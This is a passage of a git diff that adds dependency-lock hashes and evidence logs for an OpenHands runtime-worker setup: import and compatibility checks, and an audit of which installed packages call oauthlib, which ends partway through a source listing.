--hash=sha256:22965c2af250d20c873cdbee8ff958fb809940aeb2e74ba5f20aaf6b7ac8c70c \ + --hash=sha256:22b029f2881599e2f1b06f8f1db2ee63bd309e2293ba2d566e008ba12778b8da \ + --hash=sha256:243dda95d901c733f5b59214d28b0120893d91777cb8aa043e6ef059d3cddfe2 \ + --hash=sha256:2ca6fd72a8cd803be290d42f2dec5cdcd5299eeb93c2d929bf060ad9efaf5de0 \ + --hash=sha256:2e4e1f6f0b4da23e61188676e3ed027ef0baa833a2e633c29ff8530800edccba \ + --hash=sha256:31f0b53913220599446872d757257be5898019c85e7971599065bc55065dc99d \ + --hash=sha256:334b8721303e61b00019474cc103bdac3d7b1f65e91f0bfedeec2d56dfe74b53 \ + --hash=sha256:33e32a0dd0c8205efa8e83d04fc9f19313772b78522d1bdc7d9aed706bfd6138 \ + --hash=sha256:34b36c2c57124530884d89d50ed2c1478697ad7473efd59cfd479945c95650e4 \ + --hash=sha256:3aa27acb6de7a23785d81557577491f6c38a5209a254d1191519d07d8fe51748 \ + --hash=sha256:3b06bcadaac49c70f4c88af4ffcfbe3dc155aab3163e75777818092478bcbbe7 \ + --hash=sha256:3b7c88eeef021579d600e50363e0b6ee4f7f6f728cd3486b9d0f3ee7b946398d \ + --hash=sha256:3e2daa88dc91870215961e96a039ec73e4937da13cf77ce17f9cad0c18df3503 \ + --hash=sha256:3ea66b1c11c9150f1372f69afb6b8116f2dd7286f38e14ea71a44eee9ec51b9d \ + --hash=sha256:42188e6a615c1a75bcaa6e150c3fe8f3e8680471a6b10150c5f7e83f47cc34d2 \ + --hash=sha256:433885ab5431bc3d3d4f2f9bd15bfa1614c522b0f1405d62c4f926ccd69d04fa \ + --hash=sha256:437840083abe022c978470b942ff832c3940b2ad3734d424b7eaffcd07f76737 \ + --hash=sha256:4398557cbf484207df000309235979c79c4356518fd5c99158c7d38203c4da4f \ + --hash=sha256:45c2842ff0e0d1b35a6bf1cd6c690939dacb617a70827f715232b2e0494d55d1 \ + --hash=sha256:47743b82b76d89a1d20b83e60d5c20314cbd5ba2befc9cda8f28300c4a08ed4d \ + --hash=sha256:4792b262d585ff0dff6bcb787f8492e40698443ec982a3568c2096433660c694 \ + --hash=sha256:47d8a5c446df1c4db9d21b49619ffdba90e77c89ec6e283f453856c74b50b9e3 \ + --hash=sha256:47fdb18187e2a4e18fda2c25c05d8251a9e4a521edaed757fef033e7d8498d9a \ + --hash=sha256:4c52a6e78aef5cf47a98ef8e934755abf53953379b7d53e68b15ff4420e6683d \ + --hash=sha256:4dcc74149ccc8bba31ce1944acee24813e93cfdee2acda3c172df844948ddf7b \ + --hash=sha256:50678a3b71c751d58d7908edc96d332af328839eea883bb554a43f539101277a \ + --hash=sha256:51af598701f5299012b8416486b40fceef8c26fc87dc6d7d1f6fc30609ea0aa6 \ + --hash=sha256:594fcab1032e2d2cc3321bb2e51271e7cd2b516c7d9aee780ece81b07ff8244b \ + --hash=sha256:595697f68bd1f0c1c159fcb97b661fc9c3f5db46498043555d04805430e79bea \ + --hash=sha256:59c189e3e99a59cf8d83cbb31d4db02d66cda5a1a4374e8a012b51255341abf5 \ + --hash=sha256:5a3bf7f62a289fa90f1990422dc8dff5a458469ea71d1624585ec3a4c8d6960f \ + --hash=sha256:5c401e05ad47a75869c3ab3e35137f8468b846770587e70d71e11de797d113df \ + --hash=sha256:5cdac20da754f3a723cceea5b3448e1a2074866406adeb4ef35b469d089adb8f \ + --hash=sha256:5d0fcda9608875f7d052eff120c7a5da474a6796fe4d83e152e0e4d42f6d1a9b \ + --hash=sha256:5dbeefd6ca588b33576a01b0ad58aa934bc1b41ef89dee505bf2932b22ddffba \ + --hash=sha256:62441e55958977b8167b2709c164c91a6363e25da322d87ae6dd9c6019ceecf9 \ + --hash=sha256:663e1cadaddae26be034a6ab6072449a8426ddb03d500f43daf952b74553bba0 \ + --hash=sha256:669930400e375570189492dc8d8341301578e8493aec04aebc20d4717f899dd6 \ + --hash=sha256:68986a61557d37bb90d3051a45b91fa3d5c516d177dfc6dd6f2f436a07ff2b6b \ + --hash=sha256:6944b2dc72c4d7f7052683487e3677456050ff77fcf5e6204e98caf785ad1967 \ + --hash=sha256:6a635ea45ba4ea8238463b4f7d0e721bad669f80878b7bfd1f89266e2ae63da2 \ + --hash=sha256:6c5010a52015e7c70f86eb967db0f37f3c8bd503a695a49f8d45700144667708 \ + --hash=sha256:6dcbb0829c671f305be48a7227918cfcd11276c2d637a8033a99a02b67bf9eda \ + --hash=sha256:70dfd4f241c04bd9239d53b17f11e6ab672b9f1420364af63e8531198e3f5fe8 \ + --hash=sha256:719ae08b6972befcba4310e49edb1161a88cdd331e3a694b84466bd938a6ab10 \ + --hash=sha256:75976c6945d85dbb9ee6308cd7ff7b1fb9409380c82d6119bd778d8fcfe2931c \ + --hash=sha256:7861058d0582b847bc4e3a4a4c46828a410bca738673f35a29ba3ca5db0b473b \ + --hash=sha256:792a2af6d58177ef7c19cbf0097aba92ca1b9cb3ffdd9c7470e156c8f9b5e028 \ + --hash=sha256:8009b3173bcd637be650922ac455946197d858b3630b6d8787aa9e5c4564533e \ + --hash=sha256:80ddf7a5f8c86cb3eb4bc9028b07bbbf1f08a96c5c0bc1244be5e8fefcb94147 \ + --hash=sha256:8218f4e98d3c10d683584cb40f0424f4b9fd6e95610232dd75e13743b070ee33 \ + --hash=sha256:84fc3ec96fce86ce5aa305eb4aa9358279d1aa644b71fab7b8ed33fe3ba1a7ca \ + --hash=sha256:852863707010316c973162e703bddabec35e8757e67fcb8ad58829de1ebc8590 \ + --hash=sha256:8884d8b332a5e9b88e23f60bb166890009429391864c685e17bd73a9eda9105c \ + --hash=sha256:8dee9c25c74997f6a750cd317b8ca63545169c098faee42c84aa5e506c819b53 \ + --hash=sha256:939fe60db294c786f6b7c2d2e121576628468f65453d86b0fe36cb52f987bd74 \ + --hash=sha256:99b6fc1d55782461b78221e95fc357b47ad98b041e8e20f47c1411d0aacddc60 \ + --hash=sha256:9d7672ecf7557476642c88497c2f8d8542f8e36596e928e9bcba0e42e1e7d71f \ + --hash=sha256:9f6d73c1436b934e3f01df1e1b21ff765cd1d28c77dfb9ace207f746d4610ee1 \ + --hash=sha256:9fb17ea16e972c63d25d4a97f016d235c78dd2344820eb35bc034bc32012ee27 \ + --hash=sha256:a49370e8f711daec68d09b821a34e1167792ee2d24d405cbc2387be4f158b520 \ + --hash=sha256:a4fcfc8eb2c34148c118dfa02e6427ca278bfd0f3df7c5f99e33d2c0e81eae3e \ + --hash=sha256:a899cbd98dce6f5d8de1aad31cb712ec0a530abc0a86bd6edaa47c1090138467 \ + --hash=sha256:a9b1ba5610a4e20f655258d5a1fdc7ebe3d837bb0e45b581398b99eb98b1f5ca \ + --hash=sha256:af74f05666a5e531289cb1cc9c883d1de2088b8e5b4de48004e5ca8a830ac859 \ + --hash=sha256:b0748275abb8c1e1e09301ee3cf90c8a99678a4e92e4373705f2a2570d581273 \ + --hash=sha256:b266bd01fedeffeeac01a79ae181719ff848a5a13ce10075adbefc8f1daee70e \ + --hash=sha256:b4f15793aa49793ec8d1c708ab7f9eded1aa72edc5174cae703651555ed1b601 \ + --hash=sha256:b580e71cac3f8113d3135888770903eaf2f507e9421e5697d6ee6d8cd1c7f054 \ + --hash=sha256:b6a6f620cfe13ccec221fa312139135166e47ae169f8253f72a0abc0dae94376 \ + --hash=sha256:b790b39c7e9a4192dc2e201a282109ed2985a1ddbd5ac08dc56d0e121400a8f7 \ + --hash=sha256:b85b982afde6df99ecc996990d4ad7ccbdbb70e2a4ba4de0aecde5922ba98a0b \ + --hash=sha256:b8a0588521a26bf92a57a1705b77b8b59044cdceccac7151bd8d229e66b8dedb \ + --hash=sha256:ba440ae430c00eee41509353628600212112cd5018d5def7e9b05ea7ac34eb65 \ + --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ + --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ + --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:bf4a21e58b9cde0e401e683ebd00f6ed30a06d14e93f7c8fd059f8b6e8f87b6a \ + --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:c4647674b6150d2cae088fc07de2738a84b8bcedebef29802cf0b0a82ab6face \ + --hash=sha256:c7044802eec4524fde550afc28edda0dd5784c4c45f0be151a2d3ba017daca7d \ + --hash=sha256:c7bd6683587567e5a49ee6e336e0612bec8329be1b7d4c8af5687dcdeb67ee1e \ + --hash=sha256:ca1f59c4e1ab6e72f0a23c13fca5430f889634166be85dbf1013683e49e3278e \ + --hash=sha256:cb95a9b1adaa48e41815a55ae740cfda005758104049a640a398120bf02515ca \ + --hash=sha256:cfebc0ac8333520d2d0423cbbe43ae43c8838862ddb898f5ca68565e395516e9 \ + --hash=sha256:d332fc2e3c94dad927f2112395772a4e4fedbcf8f80efc21ed7cdfae4d574fdb \ + --hash=sha256:d3e32536234a95f513bd374e93d717cf6b2231a791758de6c509e3653f234c95 \ + --hash=sha256:d5372ca1df0f91a86b047d1277c2aaf1edb32d78bbcefffc81b40ffd18f027ed \ + --hash=sha256:d77e1b2c6d04711478cb1c4ab90db07f1609ccf06a287d5607fcd90dc9863acf \ + --hash=sha256:d947071e6ebcf2e2bee8fce76e10faca8f7a14808ca36a910263acaacef08eca \ + --hash=sha256:dd7afd3f8b0bfb4e0d9fc3c31bfe8a4ec7debe124cfd90619305def3c8ca8cd2 \ + --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1651bf8e0398574646744c1885a41198eba53dc8a9312b954073f845c90a8df \ + --hash=sha256:e1b329cb8146d7b736677a2440e422eadd775d1806a81db2d4cded80a48efc1a \ + --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ + --hash=sha256:e340382d1afa5d32b892b3ff062436d592ec3d692aeea3bef3a5cfe11bbf8c6f \ + --hash=sha256:e4b582bab49ac33c8deb97e058cd67c2c50dac0dd134874106d9c774fd272529 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 \ + --hash=sha256:e5542339dcf2747135c5c85f68680353d5cb9ffd741c0f2e8d832d054d41f35a \ + --hash=sha256:e6438cc8f23a9c1478633d216b16104a586b9761db62bfacb6425bac0a36679e \ + --hash=sha256:e81fda2fb4a07eda1a2252b216aa0df23ebcd4d584894e9612e80999a78fd95b \ + --hash=sha256:ea70f61a47f3cc93bdf8b2f368ed359ef02a01ca6393916bc8ff877427181e74 \ + --hash=sha256:ebd4549b108d732dba1d4ace67614b9545b21ece30937a63a65dd34efa19732d \ + --hash=sha256:efb07073be061c8f79d03d04139a80ba33cbd390ca8f0297aae9cce6411e4c6b \ + --hash=sha256:f0d97c18dfd9a9af4490631905a3f131a8e4c9e80a39353919e2cfed8f00aedc \ + --hash=sha256:f1e09112a2c31ffe8d80be1b0988fa6a18c5d5cad92a9ffbb1c04c91bfe52ad2 \ + --hash=sha256:f3d7a87a78d46a2e3d5b72587ac14b4c16952dd0887dbb051451eceac774411e \ + --hash=sha256:f4afb5c34f2c6fecdcc182dfcfc6af6cccf1aa923eed4d6a12e9d96904e1a0d8 \ + --hash=sha256:f6d2cb59377d99718913ad9a151030d6f83ef420a2b8f521d94609ecc106ee82 \ + --hash=sha256:f87ac53513d22240c7d59203f25cc3beac1e574c6cd681bbfd321987b69f95fd \ + --hash=sha256:ff86011bd159a9d2dfc89c34cfd8aff12875980e3bd6a39ff097887520e60249 +zipp==3.23.0 \ + --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ + --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 + +[stderr] +Resolved 176 packages in 149ms + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-imports.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-imports.txt new file mode 100644 index 000000000..5abb73f4c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-imports.txt @@ -0,0 +1,17 @@ +$ ["rtk", "/venv/bin/python", "-c", "import sys,platform,importlib.metadata as m; from openhands.sdk import LLM,Agent,Conversation; from openhands.tools.task import TaskToolSet; from openhands.tools.browser_use import BrowserToolSet; assert sys.implementation.name==\"cpython\" and platform.python_version()==\"3.13.15\" and platform.system()==\"Linux\" and platform.machine()==\"x86_64\"; assert m.version(\"openhands-sdk\")==m.version(\"openhands-tools\")==\"1.50.0\"; print(\"CPython 3.13.15 Linux x86_64; SDK/tools 1.50.0 imports passed; no model request\"); print({p:m.version(p) for p in (\"click\",\"pypdf\",\"soupsieve\",\"PyJWT\",\"oauthlib\")})"] +CPython 3.13.15 Linux x86_64; SDK/tools 1.50.0 imports passed; no model request +{'click': '8.5.0', 'pypdf': '6.19.0', 'soupsieve': '2.9.2', 'PyJWT': '2.14.0', 'oauthlib': '3.3.1'} + +[stderr] ++----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-pip-check.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-pip-check.txt new file mode 100644 index 000000000..8e16fccc2 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-pip-check.txt @@ -0,0 +1,8 @@ +$ ["rtk", "uv", "pip", "check", "--python", "/venv/bin/python"] + +[stderr] +Using Python 3.13.15 environment at: /venv +Checked 178 packages in 4ms +All installed packages are compatible + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-uv-version.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-uv-version.txt new file mode 100644 index 000000000..f148a95bb --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-uv-version.txt @@ -0,0 +1,6 @@ +$ ["rtk", "uv", "--version"] +uv 0.12.17 (x86_64-unknown-linux-gnu) + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-oauthlib-alias-callers.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-oauthlib-alias-callers.txt new file mode 100644 index 000000000..ac9e87aff --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-oauthlib-alias-callers.txt @@ -0,0 +1,482 @@ +$ ["rtk", "/venv/bin/python", "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", "/venv/lib/python3.13/site-packages", "/blueprints/runtime-workers/openhands"] +# installed closure excluding OAuthlib itself and installer tooling: 10684 Python sources searched; parse errors: 0 +REVIEWED TEXT ONLY func_timeout/py2_raise.py:5: invalid syntax; sha256 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77 + + +# Python2 allows specifying an alternate traceback. +def raise_exception(exception): + raise exception[0] , None , exception[0].__traceback__ + +## OAuthlib literal importers with aliases, from-imports and bound call sites +requests_oauthlib files: 6 +requests_oauthlib/compliance_fixes/instagram.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 19: oauthlib.common.add_params_to_uri +requests_oauthlib/compliance_fixes/slack.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 30: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth1_auth.py + 4: oauthlib.common.extract_params bound as extract_params + 5: oauthlib.oauth1.Client bound as Client + 5: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 5: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + 6: oauthlib.oauth1.SIGNATURE_TYPE_BODY bound as SIGNATURE_TYPE_BODY + call 77: oauthlib.common.extract_params +requests_oauthlib/oauth1_session.py + 5: oauthlib.common.add_params_to_uri bound as add_params_to_uri + 6: oauthlib.common.urldecode bound as _urldecode + 7: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 7: oauthlib.oauth1.SIGNATURE_RSA bound as SIGNATURE_RSA + 7: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + call 19: oauthlib.common.urldecode + call 253: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth2_auth.py + 1: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 1: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 2: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 19: oauthlib.oauth2.WebApplicationClient + call 31: oauthlib.oauth2.is_secure_transport + call 32: oauthlib.oauth2.InsecureTransportError +requests_oauthlib/oauth2_session.py + 3: oauthlib.common.generate_token bound as generate_token + 3: oauthlib.common.urldecode bound as urldecode + 4: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 4: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 5: oauthlib.oauth2.LegacyApplicationClient bound as LegacyApplicationClient + 6: oauthlib.oauth2.TokenExpiredError bound as TokenExpiredError + 6: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 78: oauthlib.oauth2.WebApplicationClient + call 267: oauthlib.oauth2.is_secure_transport + call 268: oauthlib.oauth2.InsecureTransportError + call 368: oauthlib.common.urldecode + call 371: oauthlib.common.urldecode + call 452: oauthlib.oauth2.is_secure_transport + call 453: oauthlib.oauth2.InsecureTransportError + call 478: oauthlib.common.urldecode + call 515: oauthlib.oauth2.is_secure_transport + call 516: oauthlib.oauth2.InsecureTransportError +## Advisory-related source references outside OAuthlib +authlib reference lines: 32 + authlib/integrations/django_oauth2/__init__.py:4: from .endpoints import RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:1: from authlib.oauth2.rfc7009 import RevocationEndpoint as _RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:4: class RevocationEndpoint(_RevocationEndpoint): + authlib/integrations/django_oauth2/endpoints.py:15: server.register_endpoint(RevocationEndpoint) + authlib/integrations/django_oauth2/endpoints.py:21: RevocationEndpoint.ENDPOINT_NAME, request + authlib/integrations/sqla_oauth2/functions.py:70: from authlib.oauth2.rfc7009 import RevocationEndpoint + authlib/integrations/sqla_oauth2/functions.py:74: class _RevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc6749/__init__.py:28: from .grants import AuthorizationCodeGrant + authlib/oauth2/rfc6749/__init__.py:83: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/authorization_server.py:203: class AuthorizationCodeGrant(grants.AuthorizationCodeGrant): + authlib/oauth2/rfc6749/authorization_server.py:207: authorization_server.register_grant(AuthorizationCodeGrant) + authlib/oauth2/rfc6749/authorization_server.py:219: RevocationEndpoint:: + authlib/oauth2/rfc6749/authorization_server.py:221: authorization_server.register_endpoint(RevocationEndpoint) + authlib/oauth2/rfc6749/grants/__init__.py:23: from .authorization_code import AuthorizationCodeGrant + authlib/oauth2/rfc6749/grants/__init__.py:36: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/grants/authorization_code.py:20: class AuthorizationCodeGrant(BaseGrant, AuthorizationEndpointMixin, TokenEndpointMixin): + authlib/oauth2/rfc6749/grants/authorization_code.py:296: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): + authlib/oauth2/rfc7009/__init__.py:11: from .revocation import RevocationEndpoint + authlib/oauth2/rfc7009/__init__.py:13: __all__ = ["prepare_revoke_token_request", "RevocationEndpoint"] + authlib/oauth2/rfc7009/revocation.py:9: class RevocationEndpoint(TokenEndpoint): + authlib/oauth2/rfc7636/challenge.py:39: The AuthorizationCodeGrant SHOULD save the ``code_challenge`` and + authlib/oauth2/rfc7636/challenge.py:43: server.register_grant(AuthorizationCodeGrant, [CodeChallenge(required=True)]) + authlib/oauth2/rfc7636/challenge.py:62: self.validate_code_challenge, + authlib/oauth2/rfc7636/challenge.py:69: def validate_code_challenge(self, grant, redirect_uri): + authlib/oauth2/rfc9068/revocation.py:6: from ..rfc7009 import RevocationEndpoint + authlib/oauth2/rfc9068/revocation.py:9: class JWTRevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc9068/revocation.py:11: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oauth2/rfc9068/revocation.py:20: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oidc/core/grants/code.py:41: :param grant: AuthorizationCodeGrant instance + authlib/oidc/core/grants/code.py:136: The register this extension with AuthorizationCodeGrant:: + authlib/oidc/core/grants/code.py:139: AuthorizationCodeGrant, extensions=[MyOpenIDCode()] + authlib/oidc/core/grants/hybrid.py:28: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): +# recipe: 12 Python sources searched; parse errors: 0 +## OAuthlib literal importers with aliases, from-imports and bound call sites +## Advisory-related source references outside OAuthlib +# Entered namespaces and advisory implementation: file hashes and source lines +oauthlib/__init__.py sha256 ccbf8a40b750b21931f842b1b416e0bb5cb24e97f54d127b42d7da38eb1d5dc4 +oauthlib/__init__.py:1: """ +oauthlib/__init__.py:2: oauthlib +oauthlib/__init__.py:3: ~~~~~~~~ +oauthlib/__init__.py:4: +oauthlib/__init__.py:5: A generic, spec-compliant, thorough implementation of the OAuth +oauthlib/__init__.py:6: request-signing logic. +oauthlib/__init__.py:7: +oauthlib/__init__.py:8: :copyright: (c) The OAuthlib Community +oauthlib/__init__.py:9: :license: BSD-3-Clause, see LICENSE for details. +oauthlib/__init__.py:10: """ +oauthlib/__init__.py:11: import logging +oauthlib/__init__.py:12: from logging import NullHandler +oauthlib/__init__.py:13: +oauthlib/__init__.py:14: __author__ = 'The OAuthlib Community' +oauthlib/__init__.py:15: __version__ = '3.3.1' +oauthlib/__init__.py:16: +oauthlib/__init__.py:17: logging.getLogger('oauthlib').addHandler(NullHandler()) +oauthlib/__init__.py:18: +oauthlib/__init__.py:19: _DEBUG = False +oauthlib/__init__.py:20: +oauthlib/__init__.py:21: def set_debug(debug_val): +oauthlib/__init__.py:22: """Set value of debug flag +oauthlib/__init__.py:23: +oauthlib/__init__.py:24: :param debug_val: Value to set. Must be a bool value. +oauthlib/__init__.py:25: """ +oauthlib/__init__.py:26: global _DEBUG # noqa: PLW0603 +oauthlib/__init__.py:27: _DEBUG = debug_val +oauthlib/__init__.py:28: +oauthlib/__init__.py:29: def get_debug(): +oauthlib/__init__.py:30: """Get debug mode value. +oauthlib/__init__.py:31: +oauthlib/__init__.py:32: :return: `True` if debug mode is on, `False` otherwise +oauthlib/__init__.py:33: """ +oauthlib/__init__.py:34: return _DEBUG +oauthlib/oauth1/__init__.py sha256 e3b84443bb3f1595cbc94b7a5d513e0cf0bcbd4315b0997bffe1c290d3362253 +oauthlib/oauth1/__init__.py:1: """ +oauthlib/oauth1/__init__.py:2: oauthlib.oauth1 +oauthlib/oauth1/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth1/__init__.py:4: +oauthlib/oauth1/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 1.0 Client +oauthlib/oauth1/__init__.py:6: and Server classes. +oauthlib/oauth1/__init__.py:7: """ +oauthlib/oauth1/__init__.py:8: from .rfc5849 import ( +oauthlib/oauth1/__init__.py:9: SIGNATURE_HMAC, SIGNATURE_HMAC_SHA1, SIGNATURE_HMAC_SHA256, +oauthlib/oauth1/__init__.py:10: SIGNATURE_HMAC_SHA512, SIGNATURE_PLAINTEXT, SIGNATURE_RSA, +oauthlib/oauth1/__init__.py:11: SIGNATURE_RSA_SHA1, SIGNATURE_RSA_SHA256, SIGNATURE_RSA_SHA512, +oauthlib/oauth1/__init__.py:12: SIGNATURE_TYPE_AUTH_HEADER, SIGNATURE_TYPE_BODY, SIGNATURE_TYPE_QUERY, +oauthlib/oauth1/__init__.py:13: Client, +oauthlib/oauth1/__init__.py:14: ) +oauthlib/oauth1/__init__.py:15: from .rfc5849.endpoints import ( +oauthlib/oauth1/__init__.py:16: AccessTokenEndpoint, AuthorizationEndpoint, RequestTokenEndpoint, +oauthlib/oauth1/__init__.py:17: ResourceEndpoint, SignatureOnlyEndpoint, WebApplicationServer, +oauthlib/oauth1/__init__.py:18: ) +oauthlib/oauth1/__init__.py:19: from .rfc5849.errors import ( +oauthlib/oauth1/__init__.py:20: InsecureTransportError, InvalidClientError, InvalidRequestError, +oauthlib/oauth1/__init__.py:21: InvalidSignatureMethodError, OAuth1Error, +oauthlib/oauth1/__init__.py:22: ) +oauthlib/oauth1/__init__.py:23: from .rfc5849.request_validator import RequestValidator +oauthlib/oauth2/__init__.py sha256 2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24 +oauthlib/oauth2/__init__.py:1: """ +oauthlib/oauth2/__init__.py:2: oauthlib.oauth2 +oauthlib/oauth2/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth2/__init__.py:4: +oauthlib/oauth2/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 2.0 Client +oauthlib/oauth2/__init__.py:6: and Server classes. +oauthlib/oauth2/__init__.py:7: """ +oauthlib/oauth2/__init__.py:8: +oauthlib/oauth2/__init__.py:9: from .rfc6749.clients import ( +oauthlib/oauth2/__init__.py:10: BackendApplicationClient, +oauthlib/oauth2/__init__.py:11: Client, +oauthlib/oauth2/__init__.py:12: LegacyApplicationClient, +oauthlib/oauth2/__init__.py:13: MobileApplicationClient, +oauthlib/oauth2/__init__.py:14: ServiceApplicationClient, +oauthlib/oauth2/__init__.py:15: WebApplicationClient, +oauthlib/oauth2/__init__.py:16: ) +oauthlib/oauth2/__init__.py:17: from .rfc6749.endpoints import ( +oauthlib/oauth2/__init__.py:18: AuthorizationEndpoint, +oauthlib/oauth2/__init__.py:19: BackendApplicationServer, +oauthlib/oauth2/__init__.py:20: IntrospectEndpoint, +oauthlib/oauth2/__init__.py:21: LegacyApplicationServer, +oauthlib/oauth2/__init__.py:22: MetadataEndpoint, +oauthlib/oauth2/__init__.py:23: MobileApplicationServer, +oauthlib/oauth2/__init__.py:24: ResourceEndpoint, +oauthlib/oauth2/__init__.py:25: RevocationEndpoint, +oauthlib/oauth2/__init__.py:26: Server, +oauthlib/oauth2/__init__.py:27: TokenEndpoint, +oauthlib/oauth2/__init__.py:28: WebApplicationServer, +oauthlib/oauth2/__init__.py:29: ) +oauthlib/oauth2/__init__.py:30: from .rfc6749.errors import ( +oauthlib/oauth2/__init__.py:31: AccessDeniedError, +oauthlib/oauth2/__init__.py:32: FatalClientError, +oauthlib/oauth2/__init__.py:33: InsecureTransportError, +oauthlib/oauth2/__init__.py:34: InvalidClientError, +oauthlib/oauth2/__init__.py:35: InvalidClientIdError, +oauthlib/oauth2/__init__.py:36: InvalidGrantError, +oauthlib/oauth2/__init__.py:37: InvalidRedirectURIError, +oauthlib/oauth2/__init__.py:38: InvalidRequestError, +oauthlib/oauth2/__init__.py:39: InvalidRequestFatalError, +oauthlib/oauth2/__init__.py:40: InvalidScopeError, +oauthlib/oauth2/__init__.py:41: MismatchingRedirectURIError, +oauthlib/oauth2/__init__.py:42: MismatchingStateError, +oauthlib/oauth2/__init__.py:43: MissingClientIdError, +oauthlib/oauth2/__init__.py:44: MissingCodeError, +oauthlib/oauth2/__init__.py:45: MissingRedirectURIError, +oauthlib/oauth2/__init__.py:46: MissingResponseTypeError, +oauthlib/oauth2/__init__.py:47: MissingTokenError, +oauthlib/oauth2/__init__.py:48: MissingTokenTypeError, +oauthlib/oauth2/__init__.py:49: OAuth2Error, +oauthlib/oauth2/__init__.py:50: ServerError, +oauthlib/oauth2/__init__.py:51: TemporarilyUnavailableError, +oauthlib/oauth2/__init__.py:52: TokenExpiredError, +oauthlib/oauth2/__init__.py:53: UnauthorizedClientError, +oauthlib/oauth2/__init__.py:54: UnsupportedGrantTypeError, +oauthlib/oauth2/__init__.py:55: UnsupportedResponseTypeError, +oauthlib/oauth2/__init__.py:56: UnsupportedTokenTypeError, +oauthlib/oauth2/__init__.py:57: ) +oauthlib/oauth2/__init__.py:58: from .rfc6749.grant_types import ( +oauthlib/oauth2/__init__.py:59: AuthorizationCodeGrant, +oauthlib/oauth2/__init__.py:60: ClientCredentialsGrant, +oauthlib/oauth2/__init__.py:61: ImplicitGrant, +oauthlib/oauth2/__init__.py:62: RefreshTokenGrant, +oauthlib/oauth2/__init__.py:63: ResourceOwnerPasswordCredentialsGrant, +oauthlib/oauth2/__init__.py:64: ) +oauthlib/oauth2/__init__.py:65: from .rfc6749.request_validator import RequestValidator +oauthlib/oauth2/__init__.py:66: from .rfc6749.tokens import BearerToken, OAuth2Token +oauthlib/oauth2/__init__.py:67: from .rfc6749.utils import is_secure_transport +oauthlib/oauth2/__init__.py:68: from .rfc8628.clients import DeviceClient +oauthlib/oauth2/__init__.py:69: from oauthlib.oauth2.rfc8628.endpoints import DeviceAuthorizationEndpoint, DeviceApplicationServer +oauthlib/oauth2/__init__.py:70: from oauthlib.oauth2.rfc8628.grant_types import DeviceCodeGrant +oauthlib/common.py sha256 39e686f928b00d7004b0ad5f921e4669b8123c68c6e0072ec2eab007986b1bf0 +oauthlib/common.py:185: return str(int(time.time())) +oauthlib/common.py:186: +oauthlib/common.py:187: +oauthlib/common.py:188: 